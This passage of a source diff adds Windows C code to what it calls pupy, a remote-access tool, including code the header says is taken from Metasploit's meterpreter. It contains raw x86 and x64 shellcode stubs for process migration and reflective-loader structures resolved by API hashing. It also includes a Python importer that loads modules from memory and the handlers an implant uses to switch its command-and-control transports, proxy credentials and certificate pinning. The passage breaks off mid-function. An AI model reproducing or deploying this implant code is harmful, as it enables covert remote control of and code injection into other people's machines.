typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _rotr )
|
||||
|
||||
__forceinline DWORD ror( DWORD d )
|
||||
{
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
__forceinline DWORD hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
h += *c;
|
||||
} while( *++c );
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, *PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK * pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
|
|
@ -0,0 +1,88 @@
|
|||
/*
|
||||
For the _memimporter compiled into py2exe exe-stubs we need "Python-dynload.h".
|
||||
For the standalone .pyd we need <Python.h>
|
||||
*/
|
||||
|
||||
#ifdef STANDALONE
|
||||
# include <Python.h>
|
||||
# include "Python-version.h"
|
||||
#else
|
||||
# include "Python-dynload.h"
|
||||
# include <stdio.h>
|
||||
#endif
|
||||
#include <windows.h>
|
||||
|
||||
static char module_doc[] =
|
||||
"Importer which can load extension modules from memory";
|
||||
|
||||
//#include "MemoryModule.h"
|
||||
#include "MyLoadLibrary.h"
|
||||
#include "actctx.h"
|
||||
|
||||
|
||||
static PyObject *
|
||||
import_module(PyObject *self, PyObject *args)
|
||||
{
|
||||
char *data;
|
||||
int size;
|
||||
char *initfuncname;
|
||||
char *modname;
|
||||
char *pathname;
|
||||
//HMEMORYMODULE hmem;
|
||||
HMODULE hmem;
|
||||
FARPROC do_init;
|
||||
|
||||
ULONG_PTR cookie = 0;
|
||||
char *oldcontext;
|
||||
|
||||
/* code, initfuncname, fqmodulename, path */
|
||||
if (!PyArg_ParseTuple(args, "s#sss:import_module",
|
||||
&data, &size,
|
||||
&initfuncname, &modname, &pathname))
|
||||
return NULL;
|
||||
cookie = _My_ActivateActCtx();//try some windows manifest magic...
|
||||
hmem=MyLoadLibrary(pathname, data, NULL);
|
||||
_My_DeactivateActCtx(cookie);
|
||||
if (!hmem) {
|
||||
PyErr_Format(PyExc_ImportError,
|
||||
"MemoryLoadLibrary failed loading %s", pathname);
|
||||
return NULL;
|
||||
}
|
||||
do_init = MyGetProcAddress(hmem, initfuncname);
|
||||
if (!do_init) {
|
||||
MyFreeLibrary(hmem);
|
||||
PyErr_Format(PyExc_ImportError,
|
||||
"Could not find function %s", initfuncname);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
oldcontext = _Py_PackageContext;
|
||||
_Py_PackageContext = modname;
|
||||
do_init();
|
||||
_Py_PackageContext = oldcontext;
|
||||
if (PyErr_Occurred())
|
||||
return NULL;
|
||||
/* Retrieve from sys.modules */
|
||||
return PyImport_ImportModule(modname);
|
||||
}
|
||||
|
||||
static PyObject *
|
||||
get_verbose_flag(PyObject *self, PyObject *args)
|
||||
{
|
||||
return PyInt_FromLong(Py_VerboseFlag);
|
||||
}
|
||||
|
||||
static PyMethodDef methods[] = {
|
||||
{ "import_module", import_module, METH_VARARGS,
|
||||
"import_module(data, size, initfuncname, path) -> module" },
|
||||
{ "get_verbose_flag", get_verbose_flag, METH_NOARGS,
|
||||
"Return the Py_Verbose flag" },
|
||||
{ NULL, NULL }, /* Sentinel */
|
||||
};
|
||||
|
||||
DL_EXPORT(void)
|
||||
init_memimporter(void)
|
||||
{
|
||||
Py_InitModule3("_memimporter", methods, module_doc);
|
||||
}
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
#include "actctx.h"
|
||||
|
||||
HANDLE PyWin_DLLhActivationContext=NULL;
|
||||
PFN_GETCURRENTACTCTX pfnGetCurrentActCtx=NULL;
|
||||
PFN_ACTIVATEACTCTX pfnActivateActCtx=NULL;
|
||||
PFN_DEACTIVATEACTCTX pfnDeactivateActCtx=NULL;
|
||||
PFN_ADDREFACTCTX pfnAddRefActCtx=NULL;
|
||||
PFN_RELEASEACTCTX pfnReleaseActCtx=NULL;
|
||||
|
||||
ULONG_PTR _My_ActivateActCtx()
|
||||
{
|
||||
ULONG_PTR ret = 0;
|
||||
if (PyWin_DLLhActivationContext && pfnActivateActCtx)
|
||||
if (!(*pfnActivateActCtx)(PyWin_DLLhActivationContext, &ret)) {
|
||||
ret = 0; // no promise the failing function didn't change it!
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
void _My_DeactivateActCtx(ULONG_PTR cookie)
|
||||
{
|
||||
if (cookie && pfnDeactivateActCtx)
|
||||
if (!(*pfnDeactivateActCtx)(0, cookie)){}
|
||||
}
|
||||
|
|
@ -0,0 +1,41 @@
|
|||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <olectl.h>
|
||||
|
||||
#include <assert.h>
|
||||
// Windows "Activation Context" work:
|
||||
// Our .pyd extension modules are generally built without a manifest (ie,
|
||||
// those included with Python and those built with a default distutils.
|
||||
// This requires we perform some "activation context" magic when loading our
|
||||
// extensions. In summary:
|
||||
// * As our DLL loads we save the context being used.
|
||||
// * Before loading our extensions we re-activate our saved context.
|
||||
// * After extension load is complete we restore the old context.
|
||||
// As an added complication, this magic only works on XP or later - we simply
|
||||
// use the existence (or not) of the relevant function pointers from kernel32.
|
||||
// See bug 4566 (http://python.org/sf/4566) for more details.
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef BOOL (WINAPI * PFN_GETCURRENTACTCTX)(HANDLE *);
|
||||
typedef BOOL (WINAPI * PFN_ACTIVATEACTCTX)(HANDLE, ULONG_PTR *);
|
||||
typedef BOOL (WINAPI * PFN_DEACTIVATEACTCTX)(DWORD, ULONG_PTR);
|
||||
typedef BOOL (WINAPI * PFN_ADDREFACTCTX)(HANDLE);
|
||||
typedef BOOL (WINAPI * PFN_RELEASEACTCTX)(HANDLE);
|
||||
|
||||
// locals and function pointers for this activation context magic.
|
||||
extern HANDLE PyWin_DLLhActivationContext;
|
||||
extern PFN_GETCURRENTACTCTX pfnGetCurrentActCtx;
|
||||
extern PFN_ACTIVATEACTCTX pfnActivateActCtx;
|
||||
extern PFN_DEACTIVATEACTCTX pfnDeactivateActCtx;
|
||||
extern PFN_ADDREFACTCTX pfnAddRefActCtx;
|
||||
extern PFN_RELEASEACTCTX pfnReleaseActCtx;
|
||||
|
||||
void _MyLoadActCtxPointers();
|
||||
ULONG_PTR _My_ActivateActCtx();
|
||||
void _My_DeactivateActCtx(ULONG_PTR cookie);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,828 @@
|
|||
/*
|
||||
This code has been taken from meterpreter and modified to be integrated into pupy.
|
||||
original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/
|
||||
|
||||
Meterpreter is available for use under the following license, commonly known as the
|
||||
3-clause (or "modified") BSD license:
|
||||
|
||||
=========================================================================================
|
||||
|
||||
Meterpreter
|
||||
-----------
|
||||
|
||||
Copyright (c) 2006-2013, Rapid7 Inc
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are
|
||||
permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of
|
||||
conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
conditions and the following disclaimer in the documentation and/or other materials
|
||||
provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or
|
||||
promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
|
||||
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
|
||||
THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
|
||||
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
*/
|
||||
#include "common.h"
|
||||
#include "base_inject.h"
|
||||
#include "../../../config.h"
|
||||
|
||||
// see 'external/source/shellcode/windows/x86/src/migrate/migrate.asm'
|
||||
BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00"
|
||||
"\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B"
|
||||
"\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
|
||||
"\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C"
|
||||
"\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B"
|
||||
"\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0"
|
||||
"\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24"
|
||||
"\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01"
|
||||
"\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51"
|
||||
"\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x33\x32\x00\x00\x68"
|
||||
"\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00"
|
||||
"\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x8D\x5E"
|
||||
"\x10\x53\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xFF"
|
||||
"\x36\x68\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
|
||||
|
||||
// see 'external/source/shellcode/windows/x64/src/migrate/migrate.asm'
|
||||
BYTE migrate_stub_x64[] = "\xFC\x48\x89\xCE\x48\x81\xEC\x00\x20\x00\x00\x48\x83\xE4\xF0\xE8"
|
||||
"\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48"
|
||||
"\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48"
|
||||
"\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
|
||||
"\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52"
|
||||
"\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B"
|
||||
"\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48"
|
||||
"\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34"
|
||||
"\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41"
|
||||
"\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8"
|
||||
"\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40"
|
||||
"\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E"
|
||||
"\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0"
|
||||
"\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x49\xBE\x77"
|
||||
"\x73\x32\x5F\x33\x32\x00\x00\x41\x56\x48\x89\xE1\x48\x81\xEC\xA0"
|
||||
"\x01\x00\x00\x49\x89\xE5\x48\x83\xEC\x28\x41\xBA\x4C\x77\x26\x07"
|
||||
"\xFF\xD5\x4C\x89\xEA\x6A\x02\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5"
|
||||
"\x4D\x31\xC0\x41\x50\x41\x50\x4C\x8D\x4E\x10\x6A\x01\x5A\x6A\x02"
|
||||
"\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41"
|
||||
"\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
|
||||
|
||||
// We force 64bit algnment for HANDLES and POINTERS in order
|
||||
// to be cross compatable between x86 and x64 migration.
|
||||
typedef struct _MIGRATECONTEXT
|
||||
{
|
||||
union
|
||||
{
|
||||
HANDLE hEvent;
|
||||
BYTE bPadding1[8];
|
||||
} e;
|
||||
|
||||
union
|
||||
{
|
||||
LPBYTE lpPayload;
|
||||
BYTE bPadding2[8];
|
||||
} p;
|
||||
|
||||
WSAPROTOCOL_INFO info;
|
||||
|
||||
} MIGRATECONTEXT, * LPMIGRATECONTEXT;
|
||||
|
||||
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer)
|
||||
{
|
||||
DWORD result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
Transport* transport = NULL;
|
||||
wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL);
|
||||
|
||||
TimeoutSettings timeouts = { 0 };
|
||||
|
||||
int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP);
|
||||
timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT);
|
||||
timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL);
|
||||
timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT);
|
||||
|
||||
// special case, will still leave this in here even if it's not transport related
|
||||
if (sessionExpiry != 0)
|
||||
{
|
||||
remote->sess_expiry_time = sessionExpiry;
|
||||
remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time;
|
||||
}
|
||||
|
||||
if (timeouts.comms == 0)
|
||||
{
|
||||
timeouts.comms = remote->transport->timeouts.comms;
|
||||
}
|
||||
if (timeouts.retry_total == 0)
|
||||
{
|
||||
timeouts.retry_total = remote->transport->timeouts.retry_total;
|
||||
}
|
||||
if (timeouts.retry_wait == 0)
|
||||
{
|
||||
timeouts.retry_wait = remote->transport->timeouts.retry_wait;
|
||||
}
|
||||
|
||||
dprintf("[CHANGE TRANS] Url: %S", transportUrl);
|
||||
dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms);
|
||||
dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total);
|
||||
dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait);
|
||||
|
||||
do
|
||||
{
|
||||
if (transportUrl == NULL)
|
||||
{
|
||||
dprintf("[CHANGE TRANS] Something was NULL");
|
||||
break;
|
||||
}
|
||||
|
||||
if (wcsncmp(transportUrl, L"tcp", 3) == 0)
|
||||
{
|
||||
MetsrvTransportTcp config = { 0 };
|
||||
config.common.comms_timeout = timeouts.comms;
|
||||
config.common.retry_total = timeouts.retry_total;
|
||||
config.common.retry_wait = timeouts.retry_wait;
|
||||
memcpy(config.common.url, transportUrl, sizeof(config.common.url));
|
||||
transport = remote->trans_create(remote, &config.common, NULL);
|
||||
}
|
||||
else
|
||||
{
|
||||
BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0;
|
||||
wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA);
|
||||
wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST);
|
||||
wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER);
|
||||
wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS);
|
||||
PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH);
|
||||
|
||||
MetsrvTransportHttp config = { 0 };
|
||||
config.common.comms_timeout = timeouts.comms;
|
||||
config.common.retry_total = timeouts.retry_total;
|
||||
config.common.retry_wait = timeouts.retry_wait;
|
||||
wcsncpy(config.common.url, transportUrl, URL_SIZE);
|
||||
|
||||
if (proxy)
|
||||
{
|
||||
wcsncpy(config.proxy.hostname, proxy, PROXY_HOST_SIZE);
|
||||
free(proxy);
|
||||
}
|
||||
|
||||
if (proxyUser)
|
||||
{
|
||||
wcsncpy(config.proxy.username, proxyUser, PROXY_USER_SIZE);
|
||||
free(proxyUser);
|
||||
}
|
||||
|
||||
if (proxyPass)
|
||||
{
|
||||
wcsncpy(config.proxy.password, proxyPass, PROXY_PASS_SIZE);
|
||||
free(proxyPass);
|
||||
}
|
||||
|
||||
if (ua)
|
||||
{
|
||||
wcsncpy(config.ua, ua, UA_SIZE);
|
||||
free(ua);
|
||||
}
|
||||
|
||||
if (certHash)
|
||||
{
|
||||
memcpy(config.ssl_cert_hash, certHash, CERT_HASH_SIZE);
|
||||
// No need to free this up as it's not a wchar_t
|
||||
}
|
||||
|
||||
transport = remote->trans_create(remote, &config.common, NULL);
|
||||
}
|
||||
|
||||
// tell the server dispatch to exit, it should pick up the new transport
|
||||
result = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
*transportBufer = transport;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
DWORD remote_request_core_transport_list(Remote* remote, Packet* packet)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
Packet* response = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
response = packet_create_response(packet);
|
||||
|
||||
if (!response)
|
||||
{
|
||||
result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
// Add the session timeout to the top level
|
||||
packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp());
|
||||
|
||||
Transport* current = remote->transport;
|
||||
Transport* first = remote->transport;
|
||||
|
||||
do
|
||||
{
|
||||
Packet* transportGroup = packet_create_group();
|
||||
|
||||
if (!transportGroup)
|
||||
{
|
||||
// bomb out, returning what we have so far.
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[DISPATCH] Adding URL %S", current->url);
|
||||
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url);
|
||||
dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms);
|
||||
packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms);
|
||||
dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total);
|
||||
packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total);
|
||||
dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait);
|
||||
packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait);
|
||||
|
||||
if (current->type != METERPRETER_TRANSPORT_SSL)
|
||||
{
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)current->ctx;
|
||||
dprintf("[DISPATCH] Transport is HTTP/S");
|
||||
if (ctx->ua)
|
||||
{
|
||||
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua);
|
||||
}
|
||||
if (ctx->proxy)
|
||||
{
|
||||
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy);
|
||||
}
|
||||
if (ctx->proxy_user)
|
||||
{
|
||||
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user);
|
||||
}
|
||||
if (ctx->proxy_pass)
|
||||
{
|
||||
packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass);
|
||||
}
|
||||
if (ctx->cert_hash)
|
||||
{
|
||||
packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE);
|
||||
}
|
||||
}
|
||||
|
||||
packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup);
|
||||
|
||||
current = current->next_transport;
|
||||
} while (first != current);
|
||||
} while (0);
|
||||
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(result, remote, response);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL remote_request_core_transport_next(Remote* remote, Packet* packet, DWORD* result)
|
||||
{
|
||||
dprintf("[DISPATCH] Asking to go to next transport (from 0x%p to 0x%p)", remote->transport, remote->transport->next_transport);
|
||||
if (remote->transport == remote->transport->next_transport)
|
||||
{
|
||||
dprintf("[DISPATCH] Transports are the same, don't do anything");
|
||||
// if we're switching to the same thing, don't bother.
|
||||
*result = ERROR_INVALID_FUNCTION;
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[DISPATCH] Transports are different, perform the switch");
|
||||
remote->next_transport = remote->transport->next_transport;
|
||||
*result = ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
packet_transmit_empty_response(remote, packet, *result);
|
||||
return *result == ERROR_SUCCESS ? FALSE : TRUE;
|
||||
|
||||
}
|
||||
|
||||
BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* result)
|
||||
{
|
||||
dprintf("[DISPATCH] Asking to go to previous transport (from 0x%p to 0x%p)", remote->transport, remote->transport->prev_transport);
|
||||
if (remote->transport == remote->transport->prev_transport)
|
||||
{
|
||||
dprintf("[DISPATCH] Transports are the same, don't do anything");
|
||||
// if we're switching to the same thing, don't bother.
|
||||
*result = ERROR_INVALID_FUNCTION;
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[DISPATCH] Transports are different, perform the switch");
|
||||
remote->next_transport = remote->transport->prev_transport;
|
||||
*result = ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
packet_transmit_empty_response(remote, packet, *result);
|
||||
return *result == ERROR_SUCCESS ? FALSE : TRUE;
|
||||
}
|
||||
|
||||
DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
// make sure we are not trying to remove the last transport
|
||||
if (remote->transport == remote->transport->prev_transport)
|
||||
{
|
||||
dprintf("[DISPATCH] Refusing to delete the last transport");
|
||||
result = ERROR_INVALID_FUNCTION;
|
||||
}
|
||||
else
|
||||
{
|
||||
Transport* found = NULL;
|
||||
Transport* transport = remote->transport;
|
||||
